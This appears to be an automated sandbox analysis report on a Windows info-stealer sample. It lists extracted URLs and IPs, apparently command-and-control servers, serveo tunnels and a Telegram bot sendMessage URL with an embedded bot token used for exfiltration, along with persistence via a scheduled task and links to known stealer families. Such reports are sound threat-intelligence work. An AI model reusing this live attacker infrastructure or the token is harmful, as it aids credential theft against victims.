http://129.151.109.160:8080	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:6787/	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, hahahahaha.txt.18.dr	false	Avira URL Cloud: safe	unknown
http://82.147.85	jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC01A44000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D17F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://23.248.176.37:180	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7505000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com/line?fields=query	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD7480000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.119.118.59:8080/hkLYW_user%40468325_report.wsr	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.119.118.59	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.61.136.52:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1712328855.0000000005266000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC01B33000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D18E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://e2111f95f52ba8be6b2d3394e38b1722.serveo.net:6787//e2111f95f52ba8be6b2d3394e38b1722.serveo.net	vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB9E2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.119.118.59:8080/hkLYW_user	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.61.136.13:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE74E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8574000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://154.26.128.6:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://212.6.44.53:8080	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7587000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.217.98.121:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.telegram.org	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8574000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7505000.00000004.00000800.00020000.00000000.sdmp	false		high
https://44.228.161.50:443	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.248.208.221:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://164.90.185.9:443	vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.w3.	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD7480000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD78E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://18.228.80.130:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE74E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.217.98.121:8080	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1715254235.000000000617A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.142.58.127:80Pk	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://e2111f95f52ba8be6b2d3394e38b1722.serveo.net	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://e483612b93e055308d0c85f365c474ee.serveo.net	vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB9E2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://144.126.132.141:8080	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/i?	powershell.exe, 00000001.00000002.1717594364.000000000785F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://18.178.28.151:443	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.147.85.194/byte/	jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002D84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.41.dr	false		high
http://127.0.0.1:6787/ing=no	vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB9D5000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD853B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.88.44.159:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.147.85.194	jqOHOuPMJP.exe, 00000000.00000002.1817122140.0000000002DAA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://e2111f95f52ba8be6b2d3394e38b1722.serveo.net/	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8610000.00000004.00000800.00020000.00000000.sdmp, ssh.exe, 00000023.00000002.4114412277.0000019B79934000.00000004.00000020.00020000.00000000.sdmp, ssh.exe, 00000023.00000002.4114412277.0000019B798EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://185.217.98.121:443	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://116.202.101.219:8080	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.tele	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD85A8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://206.189.109.146:80	vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002C.00000002.2953825020.000001EC019D3000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3553295709.00000167D1783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://127.0.0.1:18772/handleOpenWSR?r=	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE7577000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE757F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD853B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.119.118.59:8080/%68%6B%4C%59%57%5F%6A%6F%6E%65%73%40%34%36%38%33%32%35%5F%72%65%70%6F%72%	vkefq4cv.oil.exe, 00000012.00000002.2064616867.0000010DD8515000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	vkefq4cv.oil.exe, 0000000B.00000002.4115442750.000001B8A9D61000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	vkefq4cv.oil.exe, 00000012.00000002.2068696516.0000010DE751D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
82.147.85.194	unknown	Russian Federation	31112	SIBTEL-ASRU	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
138.68.79.95	serveo.net	United States	14061	DIGITALOCEAN-ASNUS	false
185.119.118.59	unknown	Austria	44133	IPAX-ASAT	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1390172
Start date and time:	2024-02-10 16:16:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	jqOHOuPMJP.exe renamed because original name is a hash value
Original Sample Name:	7e9a93c69aecfc2bbda9470fbd4556db.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@66/19@3/6
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Successful, ratio: 98% Number of executed functions: 153 Number of non-executed functions: 17
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target vkefq4cv.oil.exe, PID 7316 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:17:16	Task Scheduler	Run new task: vkefq4cv.oil path: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
16:16:59	API Interceptor	2x Sleep call for process: jqOHOuPMJP.exe modified
16:16:59	API Interceptor	15x Sleep call for process: powershell.exe modified
16:17:17	API Interceptor	4964965x Sleep call for process: vkefq4cv.oil.exe modified
16:17:35	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
82.147.85.194	QHHuOVwGfL.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	82.147.85.194/byte/@Guzman13371.txt
	3NzQY1wS2B.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.147.85.194/byte/@michael_0G.txt
	6101XOxMbY.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	82.147.85.194/byte/@Guzman13371.txt
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	82.147.85.194/byte/@Guzman13371.txt
	C7e8AncaYu.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	82.147.85.194/byte/@WWtheCardeur_2475.txt
208.95.112.1	17075649093e1f08173f977f56d5a6074cf72a4a48f58106317565a0844aab156446d6e86e172.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	ip-api.com/line/?fields=hosting
